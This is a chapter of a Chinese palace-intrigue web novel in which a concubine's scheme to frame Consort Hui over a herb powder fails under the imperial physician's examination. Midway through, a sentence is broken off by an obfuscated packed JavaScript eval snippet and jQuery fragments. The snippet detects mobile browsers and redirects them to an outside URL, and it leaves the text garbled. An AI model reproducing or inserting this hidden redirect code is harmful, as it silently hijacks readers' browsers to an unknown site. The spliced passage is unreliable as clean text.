40. 姐妹

作品:《宫斗女配重生后

    嘉贵妃烦躁道:“温常在,你又来添什么乱?”


    温昭昭怯怯道:“嫔妾有罪,所以、所以……”


    她这副语焉不详的样子,任谁看了都要生出怀疑来。德妃快人快语,先拧了眉道:


    “哦?你说那荧星草粉末是你放的?你本不在来行宫的嫔妃之列,好端端的放些荧星草到蕙常在宫中做什么?”


    温昭昭一时嗫嚅,只硬着头皮道:


    “左右此事与蕙妹妹无关,要罚就罚嫔妾吧!”


    嘉贵妃极不耐烦道:“温常在,既然你与蕙常在姐妹情深,愿意替她担罚,本宫便成全你。你若说不出那荧星草粉末的来历,本宫也赏你二十杖棍刑好了!”


    宫中妃嫔都是正经主子,又要以色侍奉皇帝,若非犯下极大的错处,轻易是不会施以皮肉之刑的。就如梁芳玉得罪太后那回,也是因着太后对梁氏一族有旧怨,才特意安排了重刑。


    可听嘉贵妃这样随意处置,一旁的皇帝竟鲜有地并没发话阻拦,只眼观鼻鼻观心,好似把下头跪着的温常在当成了空气。


    温昭昭咬紧了唇。她做出鼓足了勇气的样子,眼中蓄上了两汪泪水,道:“嫔妾刚入宫时因受了惊吓,身子一直孱弱。多亏蕙妹妹给了嫔妾一个调养身体的方子,嫔妾的身体这才好转。当时那药方中,便有一味荧星草。”


    ——来了,原是在这等着她呢!


    颂兰压下心头翻涌的情绪,静静聆听着温昭昭继续做戏,“奈何嫔妾体质孱弱,那温补的方子吃了许久还不见好。还是娘娘们来了行宫之后,嫔妾身子才好转了些,又得太后娘娘恩准,将嫔妾召了来。”


    她垂眸,神情如同一只受惊的幼鹿,“蕙妹妹备着那荧星草定是为了嫔妾,而非为了害人。嫔妾绝不能让蕙妹妹蒙受不白之冤,还请陛下明察!”


    德妃神色莫测。她在一旁的紫檀木椅上坐下,抚了抚搽了鲜红蔻丹的指甲。


    “温常在,你本不在避暑妃嫔的随行之列,就算是为了给你熬药用,蕙常在又何必巴巴儿将一味药材单独随身携带呢,岂不怪哉?”


    这时,下首跪着的褚太医却犹豫着发了话。


    “陛下、娘娘,恕微臣斗胆……温小主此前犯的,可是受惊之后的心悸梦魇之症?”


    温昭昭懵然道:“正是,可有什么不妥么?”


    褚太医看了看座上的皇帝,又瞧了瞧一边已被赐了平身、亭亭站着的颂兰,眸光闪烁,迟疑道:


    “这……”


    嘉贵妃捕捉到了褚太医神色的异样。她好似饿狼闻到肉味一般,眼中精光一闪,当即拍案道:


    “本宫与皇上都在这呢,褚院判你有话就说。本宫代掌凤印,有协理六宫之权,定会给你做主的。”


    褚太医忙道:“微臣不敢。只是这心悸梦魇之症,患者大多心血不足,合该用补气、凝血的药材。这荧星草的功效是活血,不仅不对症,反而会加剧病症,令患者缠绵病榻,久病不起。”


    闻言,温昭昭如遭雷击一般,跪在地上,只一副不可置信的模样,口中喃喃道:


    “这怎么可能?”


    嘉贵妃兴奋起来,一时间连与温昭昭的旧怨也忘了——左不过是个在皇上面前不得脸的贱人。相比起来,自然还是最近颇得圣眷的乔氏更惹人嫌恶。


    她问道:


    “温常在,本宫问你,蕙常在给你的那方子,除了你与她,可还有人见过?”


    温昭昭涩然道:“嫔妾与蕙妹妹当时皆是初入宫廷,与旁的娘娘小主们都不熟悉。那方子是蕙妹妹带到延禧宫去,在内室里与嫔妾单独看的,应当……再无旁人见过了。”


    她忽地想起什么似的,扬起脸,急切道:“不过嫔妾来行宫后还熬过两服药,药渣应当还在晴芷榭。若将那药渣拿来验一验,或许便能证明妹妹的清白了!”


    德妃“扑哧”一下,哼笑出声:“温妹妹当真是有意思。方才你既说那药方里有荧星草,那按着方子抓的药渣里怎会不含这成分?你要抓那药渣来验,到底是想证明蕙常在的清白,还是不清白呢?”


    这话刺得温昭昭面上一阵红一阵白,只嗫嚅着不说话。


    李徴面色已是阴云密布。他烦躁地捏了捏眉心。嘉贵妃久伴圣驾,察言观色,忙命素心取了清凉的薄荷膏来,替皇帝轻轻涂在太阳穴上,绕着圈抹开。


    而沉默了许久的颂兰也在此刻适时地开了口:


    “回陛下,那纸药方并非只有嫔妾和温姐姐见过。”


    她从容地抚了抚裙上因为跪地而压出的褶皱,不顾满脸震惊的温昭昭,娓娓道来:


    “当时陛下怜惜嫔妾体弱,特意命祝诚祝太医为嫔妾诊治。”她面上浮现一丝薄红,“祝太医医术过人,嫔妾私心里想着,那方子既是要给温姐姐入口的,自然不能不仔细,便叫祝太医替嫔妾掌了掌眼。祝院判仔细瞧过,称并无不妥,嫔妾这才敢到太医院按方子抓了药来。”


    皇帝沉声道:“去查!将温氏入宫以来的脉案,和她所说的药渣,都取来!”


    ——这便是要追究到底了。


    内侍监的人都是个顶个的机灵麻利,不一会儿,温昭昭口中的那包“药渣”,连同厚厚的脉案记档,便都被带进了殿里。


    温昭昭哭得眼圈微红,宛若一支凝露的红芍,当真是我见犹怜。


    皇帝到底见惯了美色,当下并不为所动,只不耐地挥了挥手,示意褚太医:


    “去验。”


    可褚太医将那药渣翻来覆去地看了几遍,面上渐渐浮现出了狐疑神色。他本就汗大,验了半天,布满皱褶的脸上又冒出点点细汗来。


    他揩了揩脸,将那脉案取来细细翻了,眉头竟愈蹙愈紧。他又转向温昭昭:“小主,可否容许微臣替您扶一扶脉?”


    温昭昭自然没有拒绝的理由。褚太医隔着丝帕替她细细搭了脉,嘉贵妃已然急不可耐,“褚院判,这药渣到底如何?”


    褚太医忙躬身道:“回娘娘,这药渣质地温补,里头用的皆是凝神补气的好药材,并无任何不妥,也没有任何荧星草的添加。而温小主的脉象……恕微臣医术不精,并不见用了伤气血之物的症状啊。”


    他又将那卷脉案递向前去,“且,微臣瞧了这几个月来温小主平安脉的记档,小主脉象平稳,身体康健,并无隐疾。”


    褚院判出自岐黄世家,褚氏世代在太医院任职,根基深厚,且是明牌的中立派,从不依附于任何后妃,只对皇帝负责。


    他金口一开,说出的话自然掷地有声。


    德妃面上划过显见的惊异之色,“妹妹,你也是个傻的,自个儿的身子骨好不好,你自己还不清楚么?”


    温昭昭是真的不清楚。


    那药方是她从民间带进宫的,为了撇清干系,她交给了乔颂兰后,自己再也没看过。太医院送来的药,她也每每闷头喝下——


    乔颂兰这人,在储秀宫时她看得真真儿的。空有美貌,却是个温和怯懦的性子。料她没胆子下死手害自己,她也没有这么做的动机啊。


    为着做戏做足,她自然是希望有一副虚弱的脉案。到时候即便东窗事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593688|167386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发,她也大可推到乔颂兰的身上——


    就如眼下这般。


    可她却万万没想到,乔颂兰居然把她给的方子,换成了一个温补益气的良方!


    那她告病许久,岂不成了欺君之罪!


    温昭昭背后霎时间冷汗涔涔,她伏地怛然道:


    “许是嫔妾记错了……嫔妾不通药理,一时情急……”


    可乔颂兰却在这时,又添上了一把火。


    她轻声细语:“这份药材每每都分作两份,延禧宫一份,钟粹宫一份——嫔妾自个儿亦有服用。此事太医院皆有记档,倘若陛下与贵妃娘娘不信,可取了记档与妃嫔们的脉案来看。”


    说着,她有些涩然地一笑:“许是嫔妾身若蒲草,命格也贱些。同样的药方,温姐姐吃着便伤气伤身,嫔妾服了,却还精神得紧呢。”


    呵,不就是白莲花么——这招谁又不会用?


    德妃闻言“扑哧”一笑,“蕙妹妹说话真有意思。你如今是陛下的心尖宠,你若是命贱的,那咱们成什么了?”


    温昭昭只觉得一颗心被狠狠揪紧,随即又沉沉地坠了下去。


    如今唯有咬死不知,才是唯一的生路。


    她仓惶叩首,已是泪流满面,“陛下明鉴,嫔妾是真的不知情。太医院的御医们每每来请平安脉,也只是请完便走……而且,也并没有彤史通报,让嫔妾将绿头牌挂回去啊!”


    德妃也并没在她身上纠结——是啊,按照常理,入了宫的女子,谁会主动称病避宠呢?


    “温常在缠绵病榻的事可是六宫皆知,当初还是嘉贵妃娘娘以她生病为由,做主撤了她的绿头牌。可谁知这一撤,竟再没有挂回去的一日了,闹得温妹妹还得巴巴儿求到太后娘娘身边,这才得见天颜。”


    嘉贵妃柳眉倒竖,已是气得狠了,“德妃,你这是什么意思?”


    “本宫没有什么意思。本宫只是觉得,贵妃娘娘独断擅专,这么多年来臣妾们倒是习惯了。只是可怜了新入宫的妹妹们,如花似玉,却要白白蹉跎。”


    “够了!”


    皇帝一声怒叱,殿内片刻前还聒噪着的女人们立刻偃旗息鼓。李徴环视了众人一圈,嘉贵妃同德妃剑拔弩张,地上的温氏哭得梨花带雨,徒惹人烦躁。


    唯有一旁静静站着的女子,一袭清雅紫衫,神色从容而镇定——


    即便她是这厅里最不该镇定的人。


    从踏入长春仙馆大门的一刻起,桩桩件件都是冲着她去。可这一盆盆泼到脸上的脏水,她都有理有据,条分缕析地一一化解。


    在这宫中,她每一步都走得如此艰难,虎狼窥伺,险象环生。可每一步她都为自己备好了后路,正如她的棋风一般,谋定而后动,绝境翻盘。


    那女子容色清艳,身形竹挺,宛若一缕不疾不缓的淡淡清风,叫人观之便觉得宁静平和,心中那些烦躁不安的思绪,也被柔柔地抚平。


    而她凝望着他的眼,却带饱含着那样复杂的情绪。里面交织着眷恋、依赖,和一点点不易察觉的委屈,好似二人已携手相伴了无限的岁月。那目光那么透明,李徴只觉得好像能透过她澄澈含情的眸,一眼望穿她的心湖。


    唉,即使是利用、是引诱,她也做得这般叫人无法拒绝。


    李徴不自觉地放柔了声音,只对着颂兰道:“你受委屈了。”


    这语调中的关心回护之意太过明显,在场诸人皆是一愣,连乔颂兰自己都被唬了一跳。


    “传朕口谕,常在乔氏侍奉得宜,颇得朕心意,着晋为正七品宝林。”